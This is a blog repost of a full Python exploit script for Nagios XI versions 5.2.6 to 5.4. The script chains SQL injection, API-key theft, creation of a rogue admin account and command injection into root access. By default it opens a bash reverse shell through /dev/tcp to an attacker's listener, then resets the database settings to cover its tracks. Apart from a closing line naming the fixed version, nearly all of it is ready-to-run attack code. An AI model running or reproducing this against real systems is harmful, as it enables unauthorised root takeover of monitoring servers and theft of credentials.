Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370477

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.

def parse_apikeys(resp):
  begin_delim = 'START_API:'
  end_delim   = ':END_API'

  start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
  end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

  unique_keys = []

  for i, index in enumerate(start_indecies):
    start_index = index + len(begin_delim)
    end_index = end_indecies[i]
    key = resp[start_index:end_index]
    if not key in unique_keys:
      unique_keys.append(key)

  return unique_keys

def parse_nsp_str(resp):
    begin_delim = 'var nsp_str = "'
    end_delim = '";\n'

    start_index = resp.find(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]

def parse_cmd_id(resp, cmdname):

    begin_delim = "'"
    end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)

    end_idx = resp.find(end_delim)

    resp = resp[:end_idx]
    resp = resp[resp.rfind(begin_delim)+1:]

    return resp

def parse_nagiosxi(resp):
    resp = str(resp)
    begin_delim = 'Set-Cookie: nagiosxi='
    end_delim = ';'

  # find the last instance of the nagiosxi cookie...
    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]

def parse_version(resp):
    resp = str(resp)
    begin_delim = 'name="version" value="'
    end_delim = '"'

    start_index = resp.rfind(begin_delim) + len(begin_delim)
    resp = resp[start_index:]
    end_index = resp.find(end_delim)

    return resp[:end_index]
def change_db_user(usr, pwd, step):

    url = '/nagiosql/admin/settings.php'
    headers = {'Host' : RHOST,
               'Content-Type' : 'application/x-www-form-urlencoded'}

    params = urllib.urlencode({
    'txtRootPath':'nagiosql',
    'txtBasePath':'/var/www/html/nagiosql/',
    'selProtocol':'http',
    'txtTempdir':'/tmp',
    'selLanguage':'en_GB',
    'txtEncoding':'utf-8',
    'txtDBserver':'localhost',
    'txtDBport':3306,
    'txtDBname':'nagiosql',
    'txtDBuser': usr,
    'txtDBpass':pwd,
    'txtLogoff':3600,
    'txtLines':15,
    'selSeldisable':1
    })

    print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
    print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)

    con = httplib.HTTPConnection(RHOST, 80)
    con.set_debuglevel(0)
    con.request("POST", url, params, headers=headers)

    resp = con.getresponse()
    con.close()

    return resp

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
        "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
                  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
                  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if not options.rhost:
    parser.error("[!] No remote host specified.\n")
    parser.print_help()
    sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
    cmd = options.cmd
else:
    cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
            'Content-Type' : 'application/x-www-form-urlencoded'}

print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])

con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)

################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################


r1 = change_db_user('root', 'nagiosxi', '1')

if r1.status == 302:
    print "[+] STEP 1: Received a 302 Response. That's good!"
else:
    print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
    exit()


################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################

print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
                        'Content-Type' : 'application/x-www-form-urlencoded'}

# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param

params2 = urllib.urlencode({
    'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
    'hidKey1':'common',
    'selInfoKey2':'free_variables_name',
    'hidKey2':'',
    'selInfoVersion':'',
    'hidVersion':'',
    'taContent':'',
    'modus':0,
    '':''
    })

print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)

con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()

if r2.status == 302:
    print "[+] STEP 2: Received a 302 Response. That's good!"
else:
    print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
    exit()

con2.close()

r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)

if len(api_keys) > 0:
    print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
    for key in api_keys:
        print "[+] {0}".format(key)
else:
    print "[!] No API keys found! Oh no. Exiting..."
    exit()


################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################

print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
                        'Content-Type' : 'application/x-www-form-urlencoded'}

# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))

params3 = urllib.urlencode({
    'username':sploit_username,
    'password':sploit_password,
    'name':'Firsty Lasterson',
    'email':'{0}@localhost'.format(sploit_username),
    'auth_level':'admin',
    'force_pw_change':0
    })

print "[+] STEP 3: Using API Keys to add an administrative user..."

found_it = False
for i, key in enumerate(api_keys):
    url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
    print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)

    con3 = httplib.HTTPConnection(RHOST, 80)
    con3.set_debuglevel(0)
    con3.request("POST", url3_try, params3, headers=headers3)
    r3 = con3.getresponse()
    r3_contents = r3.read()

    if r3.status == 200:
        print "[+] STEP 3: Received a 200 Response. That's good!"
        if "was added successfully" in r3_contents:
            print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
            print "[+] STEP 3: Moving to Step 4...."
            found_it = True
            con3.close()
            break
        else:
            "[!] STEP 3: API_KEY access was denied. That's bad."
            continue
    else:
        print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
        continue

        print "[!] STEP 3: Failed to add a user. Try some more API keys..."
    con3.close()

if found_it == False:
    print "[!] STEP 3: Step 3 failed.... oh no!"

################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################

print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""

con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()

r4p1_resp = r4p1.read()

login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)

con4p1.close()

print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)

# 4.2 ---------------------------------------------------------------

print "[+] STEP 4.2: Authenticating..."

url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
                          'Content-Type' : 'application/x-www-form-urlencoded',
                          'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
                        'nsp':login_nsp,
                        'page':'auth',
                        'debug':'',
                        'pageopt':'login',
                        'username':sploit_username,
                        'password':sploit_password,
                        'loginButton':'',
                        })

con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()

print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)

# 4.3 ---------------------------------------------------------------

print "[+] STEP 4.3: Getting an authed nsp token..."

url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
                          'Content-Type' : 'application/x-www-form-urlencoded',
                          'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""

con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()

print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)

################################################################
# REQUEST FIVE: Excute command
################################################################

print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
            'Content-Type' : 'application/x-www-form-urlencoded',
            'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}

privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"

url5 = url5 + urllib.urlencode({
                                'cmd':'submitcommand',
                                'command':'1111',
                                'command_data':privesc_cmd
                                })

con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()

r5_resp = r5.read()
con5.close()

if r5.status == 200:
    print "[+] STEP 5: Received a 200 Response. That's good!"
else:
    print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
    exit()

print "[+] STEP 5: Successfully ran command. We're done?"


################################################################
# REQUEST SIX: Cleanup
################################################################

print "[+] STEP 6: Cleanup time"

r1 = change_db_user('nagiosql', 'n@gweb', '6')

if r1.status == 302:
    print "[+] STEP 6: Received a 302 Response. That's good!"
else:
    print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
    exit()

################################################################
# Solution: Update to a version of NagiosXI >= 5.4.13
################################################################